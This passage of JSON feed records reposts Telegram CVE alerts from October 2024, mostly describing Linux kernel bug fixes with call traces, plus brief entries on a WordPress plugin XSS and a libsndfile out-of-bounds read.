"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50014", "type": "seen", "source": "https://t.me/cvedetector/8537", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50014 - EXT4 Linux Kernel Spinlock Initialization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50014 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \next4: fix access to uninitialised lock in fc replay path  \n  \nThe following kernel trace can be triggered with fstest generic/629 when  \nexecuted against a filesystem with fast-commit feature enabled:  \n  \nINFO: trying to register non-static key.  \nThe code is fine but needs lockdep annotation, or maybe  \nyou didn't initialize this object before use?  \nturning off the locking correctness validator.  \nCPU: 0 PID: 866 Comm: mount Not tainted 6.10.0+ #11  \nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-3-gd478f380-prebuilt.qemu.org 04/01/2014  \nCall Trace:  \n   \n dump_stack_lvl+0x66/0x90  \n register_lock_class+0x759/0x7d0  \n __lock_acquire+0x85/0x2630  \n ? __find_get_block+0xb4/0x380  \n lock_acquire+0xd1/0x2d0  \n ? __ext4_journal_get_write_access+0xd5/0x160  \n _raw_spin_lock+0x33/0x40  \n ? __ext4_journal_get_write_access+0xd5/0x160  \n __ext4_journal_get_write_access+0xd5/0x160  \n ext4_reserve_inode_write+0x61/0xb0  \n __ext4_mark_inode_dirty+0x79/0x270  \n ? ext4_ext_replay_set_iblocks+0x2f8/0x450  \n ext4_ext_replay_set_iblocks+0x330/0x450  \n ext4_fc_replay+0x14c8/0x1540  \n ? jread+0x88/0x2e0  \n ? rcu_is_watching+0x11/0x40  \n do_one_pass+0x447/0xd00  \n jbd2_journal_recover+0x139/0x1b0  \n jbd2_journal_load+0x96/0x390  \n ext4_load_and_init_journal+0x253/0xd40  \n ext4_fill_super+0x2cc6/0x3180  \n...  \n  \nIn the replay path there's an attempt to lock sbi->s_bdev_wb_lock in  \nfunction ext4_check_bdev_write_error().  Unfortunately, at this point this  \nspinlock has not been initialized yet.  Moving it's initialization to an  \nearlier point in __ext4_fill_super() fixes this splat. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:43.000000Z"}, {"uuid": "03725a2b-7c5a-4030-96ba-1e90f4970d3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50007", "type": "seen", "source": "https://t.me/cvedetector/8530", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50007 - ALSA ASIHPI Array Index Out of Bounds\", \n  \"Content\": \"CVE ID : CVE-2024-50007 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nALSA: asihpi: Fix potential OOB array access  \n  \nASIHPI driver stores some values in the static array upon a response  \nfrom the driver, and its index depends on the firmware.  We shouldn't  \ntrust it blindly.  \n  \nThis patch adds a sanity check of the array index to fit in the array  \nsize. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:31.000000Z"}, {"uuid": "b301a020-ff82-450f-990a-b602c5acf77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50005", "type": "seen", "source": "https://t.me/cvedetector/8529", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50005 - Linux Kernel RCU Dereference Vuln in mac802154 Scan Worker\", \n  \"Content\": \"CVE ID : CVE-2024-50005 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmac802154: Fix potential RCU dereference issue in mac802154_scan_worker  \n  \nIn the `mac802154_scan_worker` function, the `scan_req->type` field was  \naccessed after the RCU read-side critical section was unlocked. According  \nto RCU usage rules, this is illegal and can lead to unpredictable  \nbehavior, such as accessing memory that has been updated or causing  \nuse-after-free issues.  \n  \nThis possible bug was identified using a static analysis tool developed  \nby myself, specifically designed to detect RCU-related issues.  \n  \nTo address this, the `scan_req->type` value is now stored in a local  \nvariable `scan_req_type` while still within the RCU read-side critical  \nsection. The `scan_req_type` is then used after the RCU lock is released,  \nensuring that the type value is safely accessed without violating RCU  \nrules. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:30.000000Z"}, {"uuid": "4787805a-dbeb-40af-af85-071771ff8e65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50004", "type": "seen", "source": "https://t.me/cvedetector/8528", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50004 - AMD Display DCN35 Mismatch Bug\", \n  \"Content\": \"CVE ID : CVE-2024-50004 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/amd/display: update DML2 policy EnhancedPrefetchScheduleAccelerationFinal DCN35  \n  \n[WHY & HOW]  \nMismatch in DCN35 DML2 cause bw validation failed to acquire unexpected DPP pipe to cause  \ngrey screen and system hang. Remove EnhancedPrefetchScheduleAccelerationFinal value override  \nto match HW spec.  \n  \n(cherry picked from commit 9dad21f910fcea2bdcff4af46159101d7f9cd8ba) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:30.000000Z"}, {"uuid": "da51d0e8-405f-4e61-bd6f-1e7a3da1259e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50017", "type": "seen", "source": "https://t.me/cvedetector/8527", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50017 - Linux x86 Identity Mapping Spectre Attack Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50017 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nx86/mm/ident_map: Use gbpages only where full GB page should be mapped.  \n  \nWhen ident_pud_init() uses only GB pages to create identity maps, large  \nranges of addresses not actually requested can be included in the resulting  \ntable; a 4K request will map a full GB.  This can include a lot of extra  \naddress space past that requested, including areas marked reserved by the  \nBIOS.  That allows processor speculation into reserved regions, that on UV  \nsystems can cause system halts.  \n  \nOnly use GB pages when map creation requests include the full GB page of  \nspace.  Fall back to using smaller 2M pages when only portions of a GB page  \nare included in the request.  \n  \nNo attempt is made to coalesce mapping requests. If a request requires a  \nmap entry at the 2M (pmd) level, subsequent mapping requests within the  \nsame 1G region will also be at the pmd level, even if adjacent or  \noverlapping such requests could have been combined to map a full GB page.  \nExisting usage starts with larger regions and then adds smaller regions, so  \nthis should not have any great consequence. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:29.000000Z"}, {"uuid": "9029e618-6566-48c0-93bf-80d1cb69546e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50018", "type": "seen", "source": "https://t.me/cvedetector/8526", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50018 - Linux Kernel Net Device NAPI Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-50018 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: napi: Prevent overflow of napi_defer_hard_irqs  \n  \nIn commit 6f8b12d661d0 (\"net: napi: add hard irqs deferral feature\")  \nnapi_defer_irqs was added to net_device and napi_defer_irqs_count was  \nadded to napi_struct, both as type int.  \n  \nThis value never goes below zero, so there is not reason for it to be a  \nsigned int. Change the type for both from int to u32, and add an  \noverflow check to sysfs to limit the value to S32_MAX.  \n  \nThe limit of S32_MAX was chosen because the practical limit before this  \npatch was S32_MAX (anything larger was an overflow) and thus there are  \nno behavioral changes introduced. If the extra bit is needed in the  \nfuture, the limit can be raised.  \n  \nBefore this patch:  \n  \n$ sudo bash -c 'echo 2147483649 > /sys/class/net/eth4/napi_defer_hard_irqs'  \n$ cat /sys/class/net/eth4/napi_defer_hard_irqs  \n-2147483647  \n  \nAfter this patch:  \n  \n$ sudo bash -c 'echo 2147483649 > /sys/class/net/eth4/napi_defer_hard_irqs'  \nbash: line 0: echo: write error: Numerical result out of range  \n  \nSimilarly, /sys/class/net/XXXXX/tx_queue_len is defined as unsigned:  \n  \ninclude/linux/netdevice.h:      unsigned int            tx_queue_len;  \n  \nAnd has an overflow check:  \n  \ndev_change_tx_queue_len(..., unsigned long new_len):  \n  \n  if (new_len != (unsigned int)new_len)  \n          return -ERANGE; \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:28.000000Z"}, {"uuid": "5014c649-86d3-46bb-bbce-bd5bec86cda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50002", "type": "seen", "source": "https://t.me/cvedetector/8508", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50002 - Linux Kernel static_call: Off-by-One Pointer Dereference Vulnerability in Modules\", \n  \"Content\": \"CVE ID : CVE-2024-50002 \nPublished : Oct. 21, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nstatic_call: Handle module init failure correctly in static_call_del_module()  \n  \nModule insertion invokes static_call_add_module() to initialize the static  \ncalls in a module. static_call_add_module() invokes __static_call_init(),  \nwhich allocates a struct static_call_mod to either encapsulate the built-in  \nstatic call sites of the associated key into it so further modules can be  \nadded or to append the module to the module chain.  \n  \nIf that allocation fails the function returns with an error code and the  \nmodule core invokes static_call_del_module() to clean up eventually added  \nstatic_call_mod entries.  \n  \nThis works correctly, when all keys used by the module were converted over  \nto a module chain before the failure. If not then static_call_del_module()  \ncauses a #GP as it blindly assumes that key::mods points to a valid struct  \nstatic_call_mod.  \n  \nThe problem is that key::mods is not a individual struct member of struct  \nstatic_call_key, it's part of a union to save space:  \n  \n        union {  \n                /* bit 0: 0 = mods, 1 = sites */  \n                unsigned long type;  \n                struct static_call_mod *mods;  \n                struct static_call_site *sites;  \n };  \n  \nkey::sites is a pointer to the list of built-in usage sites of the static  \ncall. The type of the pointer is differentiated by bit 0. A mods pointer  \nhas the bit clear, the sites pointer has the bit set.  \n  \nAs static_call_del_module() blidly assumes that the pointer is a valid  \nstatic_call_mod type, it fails to check for this failure case and  \ndereferences the pointer to the list of built-in call sites, which is  \nobviously bogus.  \n  \nCure it by checking whether the key has a sites or a mods pointer.  \n  \nIf it's a sites pointer then the key is not to be touched. As the sites are  \nwalked in the same order as in __static_call_init() the site walk can be  \nterminated because all subsequent sites have not been touched by the init  \ncode due to the error exit.  \n  \nIf it was converted before the allocation fail, then the inner loop which  \nsearches for a module match will find nothing.  \n  \nA fail in the second allocation in __static_call_init() is harmless and  \ndoes not require special treatment. The first allocation succeeded and  \nconverted the key to a module chain. That first entry has mod::mod == NULL  \nand mod::next == NULL, so the inner loop of static_call_del_module() will  \nneither find a module match nor a module chain. The next site in the walk  \nwas either already converted, but can't match the module, or it will exit  \nthe outer loop because it has a static_call_site pointer and not a  \nstatic_call_mod pointer. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:01:54.000000Z"}, {"uuid": "7331c50e-381e-4211-b598-8b578d83c06c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50000", "type": "seen", "source": "https://t.me/cvedetector/8506", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50000 - \"Melanox Linux Kernel NULL Pointer Dereference\"\", \n  \"Content\": \"CVE ID : CVE-2024-50000 \nPublished : Oct. 21, 2024, 6:15 p.m. | 44\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet/mlx5e: Fix NULL deref in mlx5e_tir_builder_alloc()  \n  \nIn mlx5e_tir_builder_alloc() kvzalloc() may return NULL  \nwhich is dereferenced on the next line in a reference  \nto the modify field.  \n  \nFound by Linux Verification Center (linuxtesting.org) with SVACE. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:01:52.000000Z"}, {"uuid": "5829fb50-c9fd-40fc-aaf0-51839570d8ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50084", "type": "seen", "source": "https://t.me/cvedetector/9225", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50084 - Microchip Linux Kernel VCAP API Use-After-Free and Memory Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50084 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: microchip: vcap api: Fix memory leaks in vcap_api_encode_rule_test()  \n  \nCommit a3c1e45156ad (\"net: microchip: vcap: Fix use-after-free error in  \nkunit test\") fixed the use-after-free error, but introduced below  \nmemory leaks by removing necessary vcap_free_rule(), add it to fix it.  \n  \n unreferenced object 0xffffff80ca58b700 (size 192):  \n   comm \"kunit_try_catch\", pid 1215, jiffies 4294898264  \n   hex dump (first 32 bytes):  \n     00 12 7a 00 05 00 00 00 0a 00 00 00 64 00 00 00  ..z.........d...  \n     00 00 00 00 00 00 00 00 00 04 0b cc 80 ff ff ff  ................  \n   backtrace (crc 9c09c3fe):  \n     [<0000000052a0be73] kmemleak_alloc+0x34/0x40  \n     [<0000000043605459] __kmalloc_cache_noprof+0x26c/0x2f4  \n     [<0000000040a01b8d] vcap_alloc_rule+0x3cc/0x9c4  \n     [<000000003fe86110] vcap_api_encode_rule_test+0x1ac/0x16b0  \n     [<00000000b3595fc4] kunit_try_run_case+0x13c/0x3ac  \n     [<0000000010f5d2bf] kunit_generic_run_threadfn_adapter+0x80/0xec  \n     [<00000000c5d82c9a] kthread+0x2e8/0x374  \n     [<00000000f4287308] ret_from_fork+0x10/0x20  \n unreferenced object 0xffffff80cc0b0400 (size 64):  \n   comm \"kunit_try_catch\", pid 1215, jiffies 4294898265  \n   hex dump (first 32 bytes):  \n     80 04 0b cc 80 ff ff ff 18 b7 58 ca 80 ff ff ff  ..........X.....  \n     39 00 00 00 02 00 00 00 06 05 04 03 02 01 ff ff  9...............  \n   backtrace (crc daf014e9):  \n     [<0000000052a0be73] kmemleak_alloc+0x34/0x40  \n     [<0000000043605459] __kmalloc_cache_noprof+0x26c/0x2f4  \n     [<000000000ff63fd4] vcap_rule_add_key+0x2cc/0x528  \n     [<00000000dfdb1e81] vcap_api_encode_rule_test+0x224/0x16b0  \n     [<00000000b3595fc4] kunit_try_run_case+0x13c/0x3ac  \n     [<0000000010f5d2bf] kunit_generic_run_threadfn_adapter+0x80/0xec  \n     [<00000000c5d82c9a] kthread+0x2e8/0x374  \n     [<00000000f4287308] ret_from_fork+0x10/0x20  \n unreferenced object 0xffffff80cc0b0700 (size 64):  \n   comm \"kunit_try_catch\", pid 1215, jiffies 4294898265  \n   hex dump (first 32 bytes):  \n     80 07 0b cc 80 ff ff ff 28 b7 58 ca 80 ff ff ff  ........(.X.....  \n     3c 00 00 00 00 00 00 00 01 2f 03 b3 ec ff ff ff <........<0000000052a0be73] kmemleak_alloc+0x34/0x40  \n     [<0000000043605459] __kmalloc_cache_noprof+0x26c/0x2f4  \n     [<000000006eadfab7] vcap_rule_add_action+0x2d0/0x52c  \n     [<00000000323475d1] vcap_api_encode_rule_test+0x4d4/0x16b0  \n     [<00000000b3595fc4] kunit_try_run_case+0x13c/0x3ac  \n     [<0000000010f5d2bf] kunit_generic_run_threadfn_adapter+0x80/0xec  \n     [<00000000c5d82c9a] kthread+0x2e8/0x374  \n     [<00000000f4287308] ret_from_fork+0x10/0x20  \n unreferenced object 0xffffff80cc0b0900 (size 64):  \n   comm \"kunit_try_catch\", pid 1215, jiffies 4294898266  \n   hex dump (first 32 bytes):  \n     80 09 0b cc 80 ff ff ff 80 06 0b cc 80 ff ff ff  ................  \n     7d 00 00 00 01 00 00 00 00 00 00 00 ff 00 00 00  }...............  \n   backtrace (crc 34181e56):  \n     [<0000000052a0be73] kmemleak_alloc+0x34/0x40  \n     [<0000000043605459] __kmalloc_cache_noprof+0x26c/0x2f4  \n     [<000000000ff63fd4] vcap_rule_add_key+0x2cc/0x528  \n     [<00000000991e3564] vcap_val_rule+0xcf0/0x13e8  \n     [<00000000fc9868e5] vcap_api_encode_rule_test+0x678/0x16b0  \n     [<00000000b3595fc4] kunit_try_run_case+0x13c/0x3ac  \n     [<0000000010f5d2bf] kunit_generic_run_threadfn_adapter+0x80/0xec  \n     [<00000000c5d82c9a] kthread+0x2e8/0x374  \n     [<00000000f4287308] ret_from_fork+0x10/0x20  \n unreferenced object 0xffffff80cc0b0980 (size 64):  \n   comm \"kunit_try_catch\", pid 1215, jiffies 4294898266  \n   hex dump (first 32 bytes):  \n     18 b7 58 ca 80 ff ff ff 00 09 0b cc 8[...]", "creation_timestamp": "2024-10-29T03:03:01.000000Z"}, {"uuid": "78cec907-5309-489a-98ca-3af7376a8f3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50082", "type": "seen", "source": "https://t.me/cvedetector/9223", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50082 - Linux Kernel Blk-RQ-QOS Crash Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50082 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nblk-rq-qos: fix crash on rq_qos_wait vs. rq_qos_wake_function race  \n  \nWe're seeing crashes from rq_qos_wake_function that look like this:  \n  \n  BUG: unable to handle page fault for address: ffffafe180a40084  \n  #PF: supervisor write access in kernel mode  \n  #PF: error_code(0x0002) - not-present page  \n  PGD 100000067 P4D 100000067 PUD 10027c067 PMD 10115d067 PTE 0  \n  Oops: Oops: 0002 [#1] PREEMPT SMP PTI  \n  CPU: 17 UID: 0 PID: 0 Comm: swapper/17 Not tainted 6.12.0-rc3-00013-geca631b8fe80 #11  \n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014  \n  RIP: 0010:_raw_spin_lock_irqsave+0x1d/0x40  \n  Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 0f 1f 44 00 00 41 54 9c 41 5c fa 65 ff 05 62 97 30 4c 31 c0 ba 01 00 00 00  0f b1 17 75 0a 4c 89 e0 41 5c c3 cc cc cc cc 89 c6 e8 2c 0b 00  \n  RSP: 0018:ffffafe180580ca0 EFLAGS: 00010046  \n  RAX: 0000000000000000 RBX: ffffafe180a3f7a8 RCX: 0000000000000011  \n  RDX: 0000000000000001 RSI: 0000000000000003 RDI: ffffafe180a40084  \n  RBP: 0000000000000000 R08: 00000000001e7240 R09: 0000000000000011  \n  R10: 0000000000000028 R11: 0000000000000888 R12: 0000000000000002  \n  R13: ffffafe180a40084 R14: 0000000000000000 R15: 0000000000000003  \n  FS:  0000000000000000(0000) GS:ffff9aaf1f280000(0000) knlGS:0000000000000000  \n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \n  CR2: ffffafe180a40084 CR3: 000000010e428002 CR4: 0000000000770ef0  \n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000  \n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400  \n  PKRU: 55555554  \n  Call Trace:  \n     \n   try_to_wake_up+0x5a/0x6a0  \n   rq_qos_wake_function+0x71/0x80  \n   __wake_up_common+0x75/0xa0  \n   __wake_up+0x36/0x60  \n   scale_up.part.0+0x50/0x110  \n   wb_timer_fn+0x227/0x450  \n   ...  \n  \nSo rq_qos_wake_function() calls wake_up_process(data->task), which calls  \ntry_to_wake_up(), which faults in raw_spin_lock_irqsave(&p->pi_lock).  \n  \np comes from data->task, and data comes from the waitqueue entry, which  \nis stored on the waiter's stack in rq_qos_wait(). Analyzing the core  \ndump with drgn, I found that the waiter had already woken up and moved  \non to a completely unrelated code path, clobbering what was previously  \ndata->task. Meanwhile, the waker was passing the clobbered garbage in  \ndata->task to wake_up_process(), leading to the crash.  \n  \nWhat's happening is that in between rq_qos_wake_function() deleting the  \nwaitqueue entry and calling wake_up_process(), rq_qos_wait() is finding  \nthat it already got a token and returning. The race looks like this:  \n  \nrq_qos_wait()                           rq_qos_wake_function()  \n==============================================================  \nprepare_to_wait_exclusive()  \n                                        data->got_token = true;  \n                                        list_del_init(&curr->entry);  \nif (data.got_token)  \n        break;  \nfinish_wait(&rqw->wait, &data.wq);  \n  ^- returns immediately because  \n     list_empty_careful(&wq_entry->entry)  \n     is true  \n... return, go do something else ...  \n                                        wake_up_process(data->task)  \n                                          (NO LONGER VALID!)-^  \n  \nNormally, finish_wait() is supposed to synchronize against the waker.  \nBut, as noted above, it is returning immediately because the waitqueue  \nentry has already been removed from the waitqueue.  \n  \nThe bug is that rq_qos_wake_function() is accessing the waitqueue entry  \nAFTER deleting it. Note that autoremove_wake_function() wakes the waiter  \nand THEN deletes the waitqueue entry, which is the proper order.  \n  \nFix it by swapping the order. We also need to use  \nl[...]", "creation_timestamp": "2024-10-29T03:02:59.000000Z"}, {"uuid": "762aa27b-20c5-4763-accc-5a918e30aaf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50071", "type": "seen", "source": "https://t.me/cvedetector/9238", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50071 - Nuvoton Pinctrl Double-Free Linux Kernel Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50071 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \npinctrl: nuvoton: fix a double free in ma35_pinctrl_dt_node_to_map_func()  \n  \n'new_map' is allocated using devm_* which takes care of freeing the  \nallocated data on device removal, call to  \n  \n .dt_free_map = pinconf_generic_dt_free_map  \n  \ndouble frees the map as pinconf_generic_dt_free_map() calls  \npinctrl_utils_free_map().  \n  \nFix this by using kcalloc() instead of auto-managed devm_kcalloc(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:53.000000Z"}, {"uuid": "303522d1-5358-42b2-a468-01e101312dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50072", "type": "seen", "source": "https://t.me/cvedetector/9237", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50072 - Linux Kernel x86 VERW Use-After-Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50072 \nPublished : Oct. 29, 2024, 1:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nx86/bugs: Use code segment selector for VERW operand  \n  \nRobert Gill reported below #GP in 32-bit mode when dosemu software was  \nexecuting vm86() system call:  \n  \n  general protection fault: 0000 [#1] PREEMPT SMP  \n  CPU: 4 PID: 4610 Comm: dosemu.bin Not tainted 6.6.21-gentoo-x86 #1  \n  Hardware name: Dell Inc. PowerEdge 1950/0H723K, BIOS 2.7.0 10/30/2010  \n  EIP: restore_all_switch_stack+0xbe/0xcf  \n  EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: 00000000  \n  ESI: 00000000 EDI: 00000000 EBP: 00000000 ESP: ff8affdc  \n  DS: 0000 ES: 0000 FS: 0000 GS: 0033 SS: 0068 EFLAGS: 00010046  \n  CR0: 80050033 CR2: 00c2101c CR3: 04b6d000 CR4: 000406d0  \n  Call Trace:  \n   show_regs+0x70/0x78  \n   die_addr+0x29/0x70  \n   exc_general_protection+0x13c/0x348  \n   exc_bounds+0x98/0x98  \n   handle_exception+0x14d/0x14d  \n   exc_bounds+0x98/0x98  \n   restore_all_switch_stack+0xbe/0xcf  \n   exc_bounds+0x98/0x98  \n   restore_all_switch_stack+0xbe/0xcf  \n  \nThis only happens in 32-bit mode when VERW based mitigations like MDS/RFDS  \nare enabled. This is because segment registers with an arbitrary user value  \ncan result in #GP when executing VERW. Intel SDM vol. 2C documents the  \nfollowing behavior for VERW instruction:  \n  \n  #GP(0) - If a memory operand effective address is outside the CS, DS, ES,  \n    FS, or GS segment limit.  \n  \nCLEAR_CPU_BUFFERS macro executes VERW instruction before returning to user  \nspace. Use %cs selector to reference VERW operand. This ensures VERW will  \nnot #GP for an arbitrary user %ds.  \n  \n[ mingo: Fixed the SOB chain. ] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T03:03:14.000000Z"}, {"uuid": "00bc2d49-58b6-493c-89e0-53d02bbf7ea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50441", "type": "seen", "source": "https://t.me/cvedetector/9152", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50441 - CozyThemes Cozy Blocks Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50441 \nPublished : Oct. 28, 2024, 6:15 p.m. | 15\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CozyThemes Cozy Blocks allows Stored XSS.This issue affects Cozy Blocks: from n/a through 2.0.15. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T19:30:48.000000Z"}, {"uuid": "64a01e38-72eb-492a-9334-092919e73f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50612", "type": "seen", "source": "https://t.me/cvedetector/9071", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50612 - Libsndfile Ogg Vorbis Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50612 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : libsndfile through 1.2.2 has an ogg_vorbis.c vorbis_analysis_wrote out-of-bounds read. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": 